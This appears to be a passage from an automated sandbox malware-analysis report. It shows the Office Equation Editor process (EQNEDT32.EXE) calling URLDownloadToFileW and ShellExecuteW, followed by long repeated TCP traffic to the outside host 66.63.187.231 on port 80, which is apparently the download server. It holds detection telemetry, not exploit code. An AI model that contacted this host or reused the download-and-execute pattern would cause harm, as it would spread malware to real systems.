Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03540499 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_03540499
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0354056E URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_0354056E
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0354039A ExitProcess,	2_2_0354039A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03540587 ShellExecuteW,ExitProcess,	2_2_03540587
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035405C1 ExitProcess,	2_2_035405C1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035404B3 URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_035404B3

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.63.187.231:80
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.63.187.231:80 -> 192.168.2.22:49164
